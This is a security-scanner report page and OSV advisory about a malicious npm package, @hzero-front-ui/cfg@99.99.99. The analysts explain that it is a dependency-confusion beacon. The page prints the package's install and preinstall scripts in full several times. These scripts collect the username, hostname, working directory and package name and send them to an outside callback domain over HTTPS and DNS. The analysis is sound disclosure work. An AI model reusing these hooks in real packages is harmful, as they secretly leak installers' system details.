Skip to main content

Threat feed How it works Policy

Threat feed How it works Policy

Loading npm security reports…

@hzero-front-ui/cfg@99.99.99: Malicious npm security report | LPM Firewall

Skip to main content

Threat feed How it works Policy

Threat feed How it works Policy

Blocked & quarantined

Leaks installing user's account name, hostname, working directory, and package identity to a third party during installation.

View on npm All versions

registry / @hzero-front-ui/cfg / 99.99.99

@hzero-front-ui/cfg@99.99.99

Internal automation library.

AI Security Review

scanned 2d ago · by lpm-firewall-ai

Both npm installation hooks transmit encoded host and working-directory metadata to an external callback service through HTTP and DNS. The package has no functional runtime implementation to justify this behavior.

Static reason

One or more suspicious static signals were detected.

Trigger

npm preinstall or install lifecycle execution

Impact

Leaks installing user's account name, hostname, working directory, and package identity to a third party during installation.

Mechanism

encoded host metadata exfiltration via curl and DNS lookup

Attack narrative

On installation, preinstall and install build a base64 value from whoami, hostname, pwd, and the package name. They transmit it in an HTTPS path to a callback domain and also encode the package name into a DNS lookup. This is unconsented installation-time environment reconnaissance and external exfiltration.

Rationale

Direct manifest inspection confirms duplicated install-time collection and outbound callback requests. The empty entrypoint and generic README provide no package-aligned purpose for the behavior.

Evidence

package.jsonindex.jsREADME.md

Network endpoints2

$pkgsub.callback.m0chan.co.uk/$b64$pkgdns.$pkgsub.callback.m0chan.co.uk

OSV Corroboration

© 2026 LPM Firewall

Product

Threat feed How it works Policy

LPM

LPM.dev Registry

OpenSSF/OSV

Advisory

MAL-2026-13968

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in @hzero-front-ui/cfg (npm)

Details

package.json declares preinstall and install lifecycle scripts that, on npm install, collect whoami, hostname, current working directory, and npm_package_name, base64-encode the concatenation, and transmit it to subdomains of callback.m0chan.co.uk via both an HTTPS GET (curl to https://<sub>.callback.m0chan.co.uk/<b64>) and a DNS lookup (nslookup against <pkgdns>.<sub>.callback.m0chan.co.uk). The 99.99.99 version and scoped name pattern are consistent with a dependency-confusion beacon targeting an internal @hzero-front-ui scope.

References

OSV advisory PACKAGE

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

preinstall collects username, hostname, working directory, and package name, then sends encoded data to a callback domain.
install repeats the same HTTP and DNS exfiltration behavior during npm installation.

Evidence against

index.js only exports an empty object; no additional runtime behavior was found.
README contains only a generic package description.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 21 B of source

Source & flagged code

4 flagged · loading source

package.jsonView file

•scripts.install = b64=$(printf '%s' "$(whoami):$(hostname):$(pwd):$npm[redacted]" | base64 -w0); pkgsub=$(printf '%s' "$npm[redacted]" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' "$npm_pack...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"preinstall": "b64=$(printf '%s' \"$(whoami):$(hostname):$(pwd):$npm[redacted]\" | base64 -w0); pkgsub=$(printf '%s' \"$npm[redacted]\" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' \"$npm[redacted]\" | base64 -w0 | tr '+/' '-_' | tr -d '='); curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64; nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk",

High

Ai Review Evidence

preinstall collects username, hostname, working directory, and package name, then sends encoded data to a callback domain.

package.jsonView on unpkg · L7

•scripts.preinstall = b64=$(printf '%s' "$(whoami):$(hostname):$(pwd):$npm[redacted]" | base64 -w0); pkgsub=$(printf '%s' "$npm[redacted]" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' "$npm_pack...

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.install = b64=$(printf '%s' "$(whoami):$(hostname):$(pwd):$npm[redacted]" | base64 -w0); pkgsub=$(printf '%s' "$npm[redacted]" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' "$npm_pack...

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

Findings

2 High2 Medium1 Low

HighInstall Time Lifecycle Scriptspackage.json

HighAi Review Evidencepackage.json

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumAmbiguous Install Lifecycle Scriptpackage.json

LowScripts Present

99%Block

Verdict confidence

IntentMalware

TypeData Exfiltration

False-positive riskLow

Review stagesource_first_review

Firewall policyMatched malicious

Package metadata

npm

Version99.99.99

PublishedAug 13, 2026

LicenseISC

Dependencies0

Integrityverified

Package size518 B

Files3

Runtime surface

package.json

Entrypointsmain → index.js

RuntimeNo engine / OS / CPU constraints

Artifact995 B · 3 files1 signature(s)

Install lifecycleinstallpreinstall

Behavioral surface

Source: cleanTrivialManifest: clean

LPM CLI

Source & flagged code

4 flagged

package.jsonView file

•scripts.install = b64=$(printf '%s' "$(whoami):$(hostname):$(pwd):$npm[redacted]" | base64 -w0); pkgsub=$(printf '%s' "$npm[redacted]" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' "$npm_pack...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"preinstall": "b64=$(printf '%s' \"$(whoami):$(hostname):$(pwd):$npm[redacted]\" | base64 -w0); pkgsub=$(printf '%s' \"$npm[redacted]\" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' \"$npm[redacted]\" | base64 -w0 | tr '+/' '-_' | tr -d '='); curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64; nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk",

High

Ai Review Evidence

preinstall collects username, hostname, working directory, and package name, then sends encoded data to a callback domain.

package.jsonView on unpkg · L7

•scripts.preinstall = b64=$(printf '%s' "$(whoami):$(hostname):$(pwd):$npm[redacted]" | base64 -w0); pkgsub=$(printf '%s' "$npm[redacted]" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' "$npm_pack...

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.install = b64=$(printf '%s' "$(whoami):$(hostname):$(pwd):$npm[redacted]" | base64 -w0); pkgsub=$(printf '%s' "$npm[redacted]" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' "$npm_pack...

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg